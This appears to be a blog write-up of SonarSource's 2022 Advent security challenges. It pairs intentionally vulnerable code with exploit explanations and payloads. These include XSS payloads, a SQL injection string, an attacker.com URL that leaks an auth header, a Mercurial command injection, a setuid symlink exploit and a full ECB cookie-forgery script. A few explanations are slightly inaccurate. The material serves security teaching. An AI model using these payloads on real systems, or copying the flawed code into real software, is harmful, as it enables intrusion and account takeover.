Home SonarSource Advent Security Calendar 2022 Notes
Post
Cancel

SonarSource Advent Security Calendar 2022 Notes

Notes related to RipsTech/SonarSource CodeAdvent Security Calendar 2022. Official writeup here: https://www.sonarsource.com/knowledge/code-challenges/advent-calendar-2022/

Day 1 - PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

session_start();
function changePassword($token, $newPassword)
{

    $db = new SQLite3('/srv/users.sqlite', SQLITE3_OPEN_READWRITE);
    $p = $db->prepare('SELECT id FROM users WHERE reset_token = :token');
    $p->bindValue(':token', $token, SQLITE3_TEXT); 
    $res = $p->execute()->fetchArray(1);
    if (strlen($token) == 32 && $res) 

    {

        $p = $db->prepare('UPDATE users SET password = :password WHERE id = :id');
        $p->bindValue(':password', $newPassword, SQLITE3_TEXT); 
        $p->bindValue(':id', $res['id'], SQLITE3_INTEGER);
        $p->execute();
        # TODO: notify the user of the new password by email
        die('Password changed!');

    }

    http_response_code(403);
    die('Invalid reset token!');

}
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
session_start();
function generatePasswordResetToken($user) 

{
    $db = new SQLite3('/srv/users.sqlite', SQLITE3_OPEN_READWRITE);
    $token = md5(mt_rand(1, 100) . $user . time() . session_id());
    $p = $db->prepare('UPDATE users SET reset_token = :token WHERE name = :user');
    $p->bindValue(':user', $user, SQLITE3_TEXT);
    $p->bindValue(':token', $token, SQLITE3_TEXT);
    $p->execute();

}
  • Lack of Unique Token Generation:
    • Only 100 random numbers are used.
    • Username and session identifier (PHPSESSID cookie) are known.
    • Request timestamp can be estimated from response headers.
  • Vulnerability Exploitation:
    • Attackers must first trigger a password reset for the target user.
    • By generating multiple tokens, they can eventually find the correct one.
    • This could be achieved within a few dozen tries.
  • Similar Vulnerability in PEAR:
    • A similar vulnerability was found in the PHP package manager PEAR. - https://blog.sonarsource.com/php-supply-chain-attack-on-pear/
    • This allowed attackers to take over any user account.
    • It was exploited in conjunction with a 1-day bug in the Archive_TAR library.

Day 2 - Java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// ...
HttpServer srv = HttpServer.create(new InetSocketAddress(9000), 0);
srv.createContext("/", new HttpHandler() {
    @Override
    public void handle(HttpExchange he) throws IOException {
        String ret = "<!DOCTYPE html><html><head><title>Comments</title></head><body><table>";
        try {

            ResultSet rs = statement.executeQuery("select * from comments");
            while (rs.next()) {
                String comment = rs.getString("comment").replace("<", "&lt;").replace(">", "&gt;");
                ret += "<tr><td>" + Normalizer.normalize(comment, Normalizer.Form.NFKC) + "</td></tr>\n";
            }
            Main.response(he, 200, ret + "</table></body></html>");
        } catch (Exception exp) {
            System.out.println(exp);
            Main.response(he, 500, "Internal Server Error");
        }
    }
});


srv.createContext("/comment", new HttpHandler() {
    @Override
    public void handle(HttpExchange he) throws IOException {
        try {

            JSONObject jsonObject = (JSONObject)(new JSONParser()).parse(new InputStreamReader(he.getRequestBody(), "UTF-8"));
            PreparedStatement stmt = finalConnection.prepareStatement("insert into comments values(?)");
            stmt.setString(1, (String)jsonObject.get("comment"));
            stmt.executeUpdate();
            Main.response(he, 200, "Ok");
        } catch (Exception exp) {
            Main.response(he, 500, "Internal Server Error");

        }

    }

});
srv.start();
  • XSS Vulnerability:
    • User-provided comments are sanitized to prevent XSS.
    • However, subsequent normalization with Normalizer.normalize() reintroduces the risk.
    • NFKC normalization allows the injection of < and > characters using Unicode characters U+FE64 and U+FE65.
  • Exploitable Payload:
    • {'comment':'\ufe64script\ufe65alert(document.domain);\ufe64/script\ufe65'}

Example of real world vulnerability: https://blog.sonarsource.com/zimbra-webmail-compromise-via-email/

Day 3 - CSharp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class ApiHandler {
  public string Call(HttpRequest request, HttpResponse response) {
    try

    {
      if (!Regex.IsMatch(request.Query["path"], "^[/a-zA-Z0-9_]*")) {
        return "not allowed!";
      }

      var url = "https://api.github.com" + request.Query["path"];

      var clientHandler = new HttpClientHandler();

      clientHandler.AllowAutoRedirect = false;

      var client = new HttpClient(clientHandler);

      var authHeader = Environment.GetEnvironmentVariable("Authorization");

      client.DefaultRequestHeaders.Add("Authorization", authHeader);

      Task.Run(() => client.GetAsync(url));

    }

    catch (Exception ex) {
      return "error";
    }

    return "request sent";
  }
}
  • Open Redirect Vulnerability in GitHub API:
    • Issue: Missing trailing slash (/) in https://api.github.com allows manipulation.
    • Exploit: Attacker can send requests to arbitrary servers using the path parameter in the URL.
      • Malicious URL Example: https://api.github.compath=.attacker.com/hello (This redirects to attacker’s server)
    • Impact: Leaks the Authorization header, potentially compromising user credentials.
  • Vulnerability Details:
    • Regular expression for path parameter: ^[/a-zA-Z0-9_]*
      • Allows zero matches (* is a greedy quantifier).
    • Attacker Payload: .attacker.com/hello (Bypasses validation due to zero matches).

Day 4 - JS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const express = require('express');

const auth = require('./auth');

const app = express();


app.use((req, res, next) => {

  if (req.url.startsWith('/api')) {

    const allowed = auth.checkToken(req);

    if (!allowed) {

      return res.status(401).send('missing auth token!');

    }

  }


  next();

});


app.use('/static', express.static('./static'));

app.use('/api', require('./api'));


app.listen(1337);

  • Case-Sensitivity Vulnerability in Express Framework:
    • Issue: Express framework’s routing is case-insensitive by default.
    • Exploit: Attacker can bypass authentication by capitalizing the /api endpoint.
      • Malicious URL Example: /API/users (Accesses protected resource without authentication)
    • Impact: Allows unauthorized access to sensitive resources.

Day 5 - Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
cipher = AES.new(get_random_bytes(16), AES.MODE_ECB)


users = [{'usrid': 0, 'name': 'admin', 'pwd': get_random_bytes(16).hex()},

         {'usrid': 1, 'name': 'guest', 'pwd': 'guest'}]


def gen_cookie(usrid, name):

    name = name.replace('"', '')

    return b64encode(cipher.encrypt(pad(f'\{\{"usrid":\{int(usrid)\}, "name":"{name}"}}'.encode(), 16)))


@app.route('/settings', methods=['POST'])

def settings():

    user = loads(unpad(cipher.decrypt(b64decode(request.cookies.get('session'))), 16))

    if user:

        resp = make_response(redirect('/settings'))

        name = request.form.get('name').replace('"', '')

        for u in users:

            if u['usrid'] == user['usrid']: u['name'] = name

        resp.set_cookie('session', gen_cookie(user['usrid'], name))

        return resp

    return redirect('/login')


@app.route('/login', methods=['POST'])

def login():

    user = [u for u in users if u['name'] == request.form.get('name') and u['pwd'] == request.form.get('pwd')]

    if len(user) == 1:

        resp = make_response(redirect('/settings'))

        resp.set_cookie('session', gen_cookie(user[0]['usrid'], user[0]['name']))

        return resp

    return jsonify({'error': 'invalid credentials'})
  • Insecure Session Cookie Encryption:
    • Issue: The application uses AES-ECB for session cookie encryption, which is vulnerable.
    • Impact: Attackers can potentially forge a valid admin session cookie.
  • Vulnerability Details:
    • AES-ECB mode leaks data patterns due to independent block encryption.
    • Session cookie contains userid and username (partially controllable by user).
    • Attackers exploit this to create specific encrypted blocks for cookie forgery.
  • Exploitation Steps:
    1. Change username to specific values to manipulate encrypted blocks.
      • Block 1: `”{“ (using application-inserted double quote)
      • Block 2: \u0075\u0073rid (crafted username using unicode for padding)
      • Block 3: :0 (username with spaces for padding)
      • Block 4: } (username with spaces)
    2. Obtain these blocks by sending crafted username requests.
    3. Create an empty block for padding (achieved with another username change).
    4. Concatenate all blocks (including padding) to form a valid admin session cookie.
  • Example Script:
    • Provided Python script demonstrates the attack flow (commented).
    • It retrieves blocks, concatenates them, and gains admin access.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
from base64 import b64decode, b64encode
URL = 'http://localhost'
s = requests.Session()
s.post(URL + '/login', data={'name':'guest', 'pwd':'guest'})
# 0123456789012345
# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
# {"usrid":1, "name":"guest"}
# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
# {"usrid":1, "name":"guest                     {"}
s.post(URL + '/settings', data={'name':'guest                     {'})
data = b64decode(s.cookies.get('session'))
# block1 = '              {"'
block1 = data[0x20:0x30]
# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
# {"usrid":1, "name":"guest       \u0075\u0073rid"}
s.post(URL + '/settings', data={'name':'guest       \\u0075\\u0073rid'})
data = b64decode(s.cookies.get('session'))
# block2 = '\u0075\u0073rid"'
block2 = data[0x20:0x30]
# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
# {"usrid":1, "name":"guest                     :0"}
s.post(URL + '/settings', data={'name':'guest                     :0'})
data = b64decode(s.cookies.get('session'))
# block3 = '              :0'
block3 = data[0x20:0x30]
# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
# {"usrid":1, "name":"guest                      }"}
s.post(URL + '/settings', data={'name':'guest                      }'})
data = b64decode(s.cookies.get('session'))
# block4 = '               }'
block4 = data[0x20:0x30]
# last block required for padding
# [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
# {"usrid":1, "name":"guest     "}
s.post(URL + '/settings', data={'name':'guest     '})
data = b64decode(s.cookies.get('session'))
# block5 = '\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
block5 = data[0x20:0x30]
#               [xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx][xxxxxxxxxxxxxx]
# all_blocks = '              {"\u0075\u0073rid"              :0               }'
# (+ padding)
# >>> loads('              {"\u0075\u0073rid"              :0               }')
# {'usrid': 0}
c = {'session': b64encode(block1+block2+block3+block4+block5).decode()}
j = requests.get(URL + '/settings', cookies=c).json() # admin access
  • Recommendation:
    • Use a secure encryption mode like AES-GCM for session cookies.

Day 6 - PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

$db = new SQLite3('/srv/users.sqlite');


if(!isset($_POST['mail'])) {

    die("Need mail.\n");

}


$mail = $_POST['mail'];


$filter_chain = array(FILTER_DEFAULT, FILTER_SANITIZE_ADD_SLASHES, FILTER_VALIDATE_EMAIL, FILTER_SANITIZE_STRING);


for($i=0; $i < count($filter_chain); $i++){

    if(filter_var($mail, $filter_chain[$i]) === false){

        die("Invalid Email.\n");

    }

}


// check if email exists

$user = $db->querySingle("SELECT username FROM users WHERE email='$mail' LIMIT 1");

if(!$user){

    die('No user found with given email.');

}


echo sprintf("Hello %s we sent you an email ;).\n", htmlspecialchars($user, ENT_QUOTES));
  • SQL Injection Vulnerability:
    • Issue: $mail variable is validated but not sanitized before use in an SQLite query.
    • Impact: Attackers can inject malicious SQL statements to extract sensitive data.
  • Vulnerability Details:
    • FILTER_VALIDATE_EMAIL allows many special characters, enabling SQL injection.
    • Attackers can use UNION clause to retrieve additional data (e.g., passwords).
  • Exploit Example:
    • Malicious email: '/**/union/**/select/**/password/**/FROM/**/users/*'@a.s
    • This email bypasses validation and injects SQL, leading to password leakage.
  • Reference:
    • Codoforum 4.8.7: Critical Code Vulnerabilities Explained - https://blog.sonarsource.com/codoforum-4.8.7-critical-code-vulnerabilities-explained

Day 7 - JS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<script setup>

import PageContent from './components/PageContent.vue';

</script>


<template>

  <main>

    <img src="@/assets/logo.svg" class="logo">

    <PageContent

      msg="You did it!"

      v-bind="$route.query"

      class="card-lg"

    />

  </main>

</template>


<style>

@keyframes spinner {

  from { transform: rotate(0deg); }

  to { transform: rotate(360deg); }

}

img.logo {

  animation: 5s linear spinner infinite;

}

</style>
  • DOM-Based XSS Vulnerability in Vue.js Application:
    • Issue: v-bind directive allows dynamic attribute binding, including event handlers.
    • Impact: Attackers can inject malicious JavaScript into the page, potentially leading to unauthorized actions.
  • Exploit Details:
    • Leveraging Vue Router:
      • $route.query can be manipulated to control attribute values.
      • Setting style and onanimationstart attributes enables JavaScript injection.
    • Malicious URL:
      • http://chal:1337/#/?style=animation-name:spinner&onanimationstart=alert(1)
    • Attack Vector:
      • When the page loads, the animation triggers the onanimationstart event, executing the malicious JavaScript.
  • Reference:
    • SmartStoreNET - Malicious Message leading to E-Commerce Takeover - https://blog.sonarsource.com/smartstorenet-malicious-message-leading-to-e-commerce-takeover/

Day 8 - PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

session_start();


function client_ip(){

    return !empty($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];

}


$ip = client_ip();

if(!filter_var($ip, FILTER_VALIDATE_IP) || !in_array($ip, array('localhost', '127.0.0.1'))){

    die(htmlspecialchars("Not allowed!\n"));

}


if(!isset($_SESSION['auth'])){

    header("Location: error.php");

}


// interact with API endpoints

echo call_user_func($_GET['cmd'], $_GET['arg']);
  • HTTP Header Manipulation Vulnerability:
    • Issue: X-Forwarded-For header can be manipulated to bypass IP address restrictions.
    • Impact: Attackers can potentially execute arbitrary PHP code.
  • Exploit Details:
    • Bypass IP Restriction:
      • Setting X-Forwarded-For to 127.0.0.1 bypasses the allow-list.
    • Ignoring Redirect:
      • The client can ignore the redirect, allowing the script to continue execution.
    • Code Execution:
      • call_user_func() function enables arbitrary PHP code execution.

Day 9 - Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def upload(request):

    f = request.FILES["data"]

    with open(f'/tmp/storage/{f.name}', 'wb+') as destination:

        for chunk in f.chunks(): destination.write(chunk)

    return HttpResponse("File is uploaded!")


def install(request):

    language_name = request.GET['language_name']

    if '..' in language_name: return HttpResponse("Not allowed!")


    src = os.path.join('contrib', 'languages', language_name)

    dst = os.path.join('/tmp/extract', language_name)


    shutil.copy(src, dst)

    shutil.unpack_archive(dst, extract_dir='/tmp/extract')


    return HttpResponse("Installed!")


def clean(request):

    file = os.path.basename(request.GET['file'])

    file_safe = f'/tmp/storage/{file}'

    os.unlink(file_safe)

    return HttpResponse("file removed!")
  • Race Condition and Path Traversal Vulnerability:
    • Issue: os.path.join() is vulnerable to path traversal attacks.
    • Impact: Attackers can exploit a race condition to write arbitrary files.
  • Exploit Steps:
    1. Path Traversal Bypass:
      • Upload a malicious tar archive (p.tar).
      • Use language_name=/tmp/storage/p.tar to bypass path traversal checks.
    2. Race Condition Exploitation:
      • Delete the target file (p.tar) using the /clean endpoint.
      • Re-upload the archive and trigger the /install endpoint simultaneously.
    3. Arbitrary File Write:
      • If the race is successful, the archive is extracted, leading to arbitrary file creation.
  • Reference:
    • 10 Unknown Security Pitfalls for Python - https://blog.sonarsource.com/10-unknown-security-pitfalls-for-python/

Day 10 - Java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
@WebServlet(name = "MercurialImporterServlet", urlPatterns = {"/check"})

public class MercurialImporterServlet extends HttpServlet {

    @Override

    protected void doPut(HttpServletRequest req, HttpServletResponse res) throws IOException {

        res.setContentType("text/plain");

        var out = res.getOutputStream();

        if (req.getParameter("repository") == null 

            || req.getParameter("repository").indexOf("$(") != -1 

            || req.getParameter("repository").indexOf("`") != -1) {

            res.setStatus(405);

            return;

        }

        var cmd = new String[] {

            "hg",

            "identify",

            req.getParameter("repository")

        };

        var p = Runtime.getRuntime().exec(cmd);

        var br = new BufferedReader(new InputStreamReader(p.getInputStream()));

        String l;

        while ((l = br.readLine()) != null) {

            out.write(l.getBytes("ascii"));

        }

        br.close();

    }

}

  • Mercurial Command Injection Vulnerability:
    • Issue: Lack of proper input validation for Mercurial client arguments.
    • Impact: Attackers can execute arbitrary shell commands.
  • Exploit Details:
    • Mercurial Alias:
      • Attackers can create custom aliases using the --config option.
      • Aliases prefixed with ! execute shell commands.
    • Payload Example:
      • repository=--config=alias.identify=!id
      • This payload executes the id command.
  • Reference:
    • PHP Supply Chain Attack on Composer - https://blog.sonarsource.com/php-supply-chain-attack-on-composer/
    • Securing Developer Tools: A New Supply Chain Attack on PHP - https://blog.sonarsource.com/securing-developer-tools-a-new-supply-chain-attack-on-php/

Day 11 - C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// $ ls -lh /opt/logger/bin/

// -rwsrwsr-x 1 root root  14K Dec 11 13:37 loggerctl


char *logger_path, *cmd;


void rotate_log() {

    char log_old[PATH_MAX], log_new[PATH_MAX], timestamp[0x100];

    time_t t;

    time(&t);

    strftime(timestamp, sizeof(timestamp), "%FT%T", gmtime(&t));

    snprintf(log_old, sizeof(log_old), "%s/../logs/global.log", logger_path);

    snprintf(log_new, sizeof(log_new), "%s/../logs/global-%s.log", logger_path, timestamp);

    execl("/bin/cp", "/bin/cp", "-a", "--", log_old, log_new, NULL);

}


int main(int argc, char **argv) {

    if (argc != 2) {

        printf("Usage: /opt/logger/bin/loggerctl <cmd>\n");

        return 1;

    }


    if (setuid(0) == -1) return 1;

    if (seteuid(0) == -1) return 1;


    char *executable_path = argv[0];

    logger_path = dirname(executable_path);

    cmd = argv[1];


    if (!strcmp(cmd, "rotate")) rotate_log();

    else list_commands();

    return 0;

}

Vulnerability: Setuid Binary with Path Traversal

Impact: Arbitrary file write as root

Exploit:

  1. Create a malicious directory structure:
    • /tmp/fakedir/bin/dummy - A dummy executable
    • /tmp/fakedir/logs/global.log - File containing malicious content
    • /tmp/fakedir/logs/global-YYYY-MM-DDTHH:MM:SS.log - Symbolic link pointing to the target file (e.g., /root/.ssh/authorized_keys)
  2. Execute the loggerctl binary:
    • Use a crafted C program (or similar) to execute loggerctl with a manipulated argv[0]:
      1
      2
      3
      4
      
      #include <unistd.h>
      void main() {
          execl("/opt/logger/bin/loggerctl", "/tmp/fakedir/bin/dummy", "rotate", NULL);
      }
      
  3. Trigger the vulnerability:
    • The loggerctl binary will attempt to copy global.log to global-YYYY-MM-DDTHH:MM:SS.log.
    • Due to the symbolic link, the malicious content will be written to the target file.

Key Points:

  • The setuid bit allows the binary to run with root privileges.
  • Path traversal vulnerability in argv[0] allows control over file paths.
  • Symbolic links enable writing to arbitrary files.

By exploiting this vulnerability, an attacker can gain root privileges on the system.

Day 12 - JS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<!-- oauth-popup.html -->

<script>

const handlers = Object.assign(Object.create(null), {

  getAuthCode(sender) {

    sender.postMessage({

      type: 'auth-code',

      code: new URL(location).searchParams.get('code'),

    }, '*');

  },

  startAuthFlow(sender, clientId) {

    location.href = 'https://github.com/login/oauth/authorize'

        + '?client_id=' + encodeURIComponent(clientId)

        + '&redirect_uri=' + encodeURIComponent(location.href);

  },

});

window.addEventListener('message', ({ source, origin, data }) => {

  if (source !== window.opener) return;

  if (origin !== window.origin) return;

  handlers[data.cmd](source, ...data.args);

});

window.opener.postMessage({ type: 'popup-loaded' }, '*');

</script>

Vulnerability: Null Origin Bypass in GitHub OAuth Popup

Problem:

The popup uses window.origin to validate messages. However, window.origin can be manipulated to null when a page is embedded in a sandboxed iframe. This allows attackers to send malicious messages to the popup and potentially steal sensitive information, such as OAuth tokens.

Exploit:

  1. Create a Malicious Page:
    • Create a web page with a sandboxed iframe.
    • The iframe should have the allow-scripts and allow-popups attributes to enable script execution and popup creation.
  2. Open the OAuth Popup:
    • The malicious page opens the victim’s OAuth popup within the sandboxed iframe.
    • Due to the sandbox, the popup inherits the null origin of the iframe.
  3. Send Malicious Messages:
    • The attacker’s script sends malicious messages to the popup using postMessage.
    • The popup, believing the messages are from a legitimate source, processes them.
  4. Steal OAuth Token:
    • The attacker’s script can trick the popup into revealing the OAuth token.
    • This is achieved by sending commands to the popup, such as requesting the token or triggering specific actions.

Mitigation:

  1. Use location.origin:
    • The popup should use location.origin instead of window.origin for origin validation.
    • location.origin is more reliable as it cannot be manipulated by sandboxing.
  2. Target Specific Origins:
    • When using postMessage, the target origin should be explicitly specified.
    • This prevents messages from being received by unintended recipients.

Day 13 - Java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
HttpServer srv = HttpServer.create(new InetSocketAddress(1337), 0);


srv.createContext("/register", he - > {

    try {

        JSONObject params = Server.getParams(he);

        String username = (String) params.get("username");

        String password = (String) params.get("password");

        if (username == null || password == null) {

            Server.response(he, 500, "Internal Server Error");

            return;

        }


        if (Server.user_exists(conn, username)) {

            Server.response(he, 403, "user exists");

            return;

        }


        ResultSet rs = smt.executeQuery("SELECT password FROM users");

        while (rs.next()) {

            if (rs.getString("password").startsWith(password)) {

                Server.response(he, 403, "password policy not followed");

                return;

            }

        }

    } catch (ParseException | SQLException e) {

        Server.response(he, 500, "Internal Server Error");

        return;

    }

});



srv.start();
  • Vulnerability: A new user registration process is vulnerable to a side-channel attack.
  • Attack Method:
    • Attackers register new users with passwords starting with different character sequences.
    • By observing the error messages (whether “password policy not followed” or successful registration), attackers can infer information about existing passwords.
    • This is because the password comparison function startswith() leaks information about the matching prefix of the new password with existing passwords.
  • Impact:
    • Attackers can potentially extract existing passwords character by character.
    • This could lead to unauthorized access to accounts and sensitive information.
  • Mitigation:
    • Implement a more secure password comparison algorithm that does not leak information about password prefixes.
    • Consider using a cryptographic hash function to store passwords securely and compare hashes instead of plain text passwords.
    • Regularly review and update security practices to address emerging threats.

Day 14 - PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

const LEAK_ME = '/key.pem';


function debugCertificate()

{   

    if (!array_key_exists('cert', $_POST)) {

        die('Please provide your certificate!');

    }

    if (strstr($_POST['cert'], 'BEGIN PUBLIC')) {

        $res = openssl_pkey_get_public($_POST['cert']);

    } else {

        $res = openssl_pkey_get_private($_POST['cert']);

    }

    $res = openssl_pkey_get_details($res);

    echo 'Here is your key:<br><pre>' . serialize($res) . '</pre>';

}

  • Vulnerability: The PHP OpenSSL extension is vulnerable to a path traversal attack.
  • Attack Method:
    • Attackers can exploit the file:// prefix to read arbitrary files on the server.
    • By crafting a malicious request with a specially crafted $_POST['key'] parameter, attackers can access sensitive files like private keys.
  • Impact:
    • Attackers can potentially steal sensitive information, including private keys.
    • This could lead to unauthorized access to systems and data.
  • Mitigation:
    • Validate and sanitize user input to prevent malicious input from being processed.
    • Implement proper input validation and filtering to block file paths and other malicious input.
    • Keep software and libraries up-to-date with the latest security patches.
    • Consider using a web application firewall (WAF) to protect against common web attacks, including path traversal.

Day 15 - Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
app = Flask(__name__)

app.config['TEMPLATES_AUTO_RELOAD'] = True

Session(app)

users = {'guest':'guest'}


@app.route('/login', methods=['GET', 'POST'])

def login():

    # ... do login ...


@app.route('/register', methods=['GET', 'POST'])

def register():

    if request.method == 'POST':

        username = request.form.get('username')

        if username in users:

            return render_template('error.html', msg='Username already taken!', return_to='/register')

        users[username] = request.form.get('password')

        return redirect('/login')

    return render_template('register.html')


@app.route('/notes', methods=['GET', 'POST'])

def notes():

    if not session.get('username'): return redirect('/login')

    notes_file = 'notes/' + session.get('username')

    if commonpath((app.root_path, abspath(notes_file))) != app.root_path:

        return render_template('error.html', msg='Error processing notes file!', return_to='/notes')

    if request.method == 'POST':

        with open(notes_file, 'w') as f: f.write(request.form.get('notes'))

        return redirect('/notes')

    notes = ''

    if exists(notes_file):

        with open(notes_file, 'r') as f: notes = f.read()

    return render_template('notes.html', username=session.get('username'), notes=notes)
  • Path Traversal Vulnerability:
    • The application constructs file paths using user-provided usernames.
    • This allows attackers to manipulate the path to access and modify files outside the intended directory.
    • By registering a user with a crafted username (e.g., ../templates/error.html), attackers can overwrite template files.
  • Server-Side Template Injection (SSTI) Vulnerability:
    • The application uses template auto-reloading, which can be exploited to inject malicious code into templates.
    • Overwriting the error.html template with a payload allows attackers to execute arbitrary code on the server.
    • The payload can leverage built-in Python functions to execute system commands or access sensitive information.
  • Potential Impact:
    • Data Exfiltration: Attackers can steal sensitive data from the server.
    • System Compromise: Attackers can execute arbitrary code on the server, potentially leading to full system compromise.
    • Denial of Service: Attackers can disrupt the application’s functionality by overwriting critical files.

Day 16 - Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def _git(cmd, args, cwd='/'):

    proc = run(['git', cmd, *args],

               stdout=PIPE,

               stderr=DEVNULL,

               cwd=cwd,

               timeout=5)

    return proc.stdout.decode().strip()


@app.route('/blame', methods=['POST'])

def blame():

    url = request.form.get('url',

                           'https://github.com/package-url/purl-spec.git')

    what = request.form.getlist('what[]')

    with TemporaryDirectory() as local:

        if not url.startswith(('https://', 'http://')):

            return make_response('Invalid url!', 403)

        _git('clone', ['--', url, local])

        res = []

        for i in what:

            file, lines = i.split(':')

            res.append(_git('blame', ['-L', lines, file], local))

        return make_response('\n'.join(res), 200)
1
2
3
4
5
6
7
8
* Involves invoking `git` in an untrusted folder for arbitrary code execution
* Requires control over repository configuration (not applicable here)
* Argument injection vulnerability in `git blame`
* Exploits undocumented `--output` parameter (similar to other `git` commands)
* Creates or truncates files with limited control
* Truncating `.git/HEAD` invalidates the local repository
* Git searches for a valid repository elsewhere (including planted configurations)
* Subsequent `git blame` calls might use the malicious configuration

Challenge based on [https://blog.sonarsource.com/securing-developer-tools-git-integrations/]

Day 17 - Java

Main.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
HttpServer srv = HttpServer.create(new InetSocketAddress(9000), 0);

srv.createContext("/", new HttpHandler() {

    @Override

    public void handle(HttpExchange he) throws IOException {

        String comments = "<!DOCTYPE html>\n<html><head><title>Comments</title></head><body><table>";

        try (Statement stmt = Main.conn.createStatement()) {

            ResultSet rs = stmt.executeQuery("SELECT * FROM comments");

            while (rs.next()) {

                comments += "<tr><td>" + rs.getString("comment") + "</td></tr>";

            }

        } catch (SQLException e) {

            Main.response(he, 500, "Internal Server Error");

        }

        Main.response(he, 200, comments + "</table></body></html>");

    }

});


srv.createContext("/comment", new HttpHandler() {

    @Override

    public void handle(HttpExchange he) throws IOException {

        try (var stmt = Main.conn.prepareStatement("INSERT INTO comments (comment) VALUES (?)")) {

            Source comment =  new StreamSource(he.getRequestBody());

            Source xslt = new StreamSource(Thread.currentThread().getContextClassLoader().getResourceAsStream("comment.xslt"));

            TransformerFactory tf = TransformerFactory.newInstance();

            tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");

            tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");

            Transformer transformer = tf.newTransformer(xslt);

            StringWriter writer = new StringWriter();

            transformer.transform(comment, new StreamResult(writer));

            stmt.setString(1, writer.getBuffer().toString());

            stmt.executeUpdate();

            Main.response(he, 200, "Ok");

        } catch (Exception e) {

            Main.response(he, 500, "Internal Server Error");

        }

    }

});

srv.start();

comment.xslt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?xml version="1.0" encoding="UTF-8"?>

<xsl:stylesheet version="1.0"

                xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

    <xsl:output method="html" />

    <!-- Allow the following tags: <b>, <i> and <u> -->

    <xsl:template match="//b | //i | //u">

        <xsl:element name="{local-name()}">

            <xsl:value-of select="."/>

        </xsl:element>

    </xsl:template>

    <!-- Allow links to https://example.com -->

    <xsl:template match="//*[@href]">

        <xsl:element name="{local-name()}">

            <xsl:attribute name="href">

                <xsl:choose>

                    <xsl:when test="starts-with(@href, 'https://example.com/')">

                        <xsl:value-of select="@href"/>

                    </xsl:when>

                    <xsl:otherwise>/</xsl:otherwise>

                </xsl:choose>

            </xsl:attribute>

            <xsl:value-of select="."/>

        </xsl:element>

    </xsl:template>

</xsl:stylesheet>
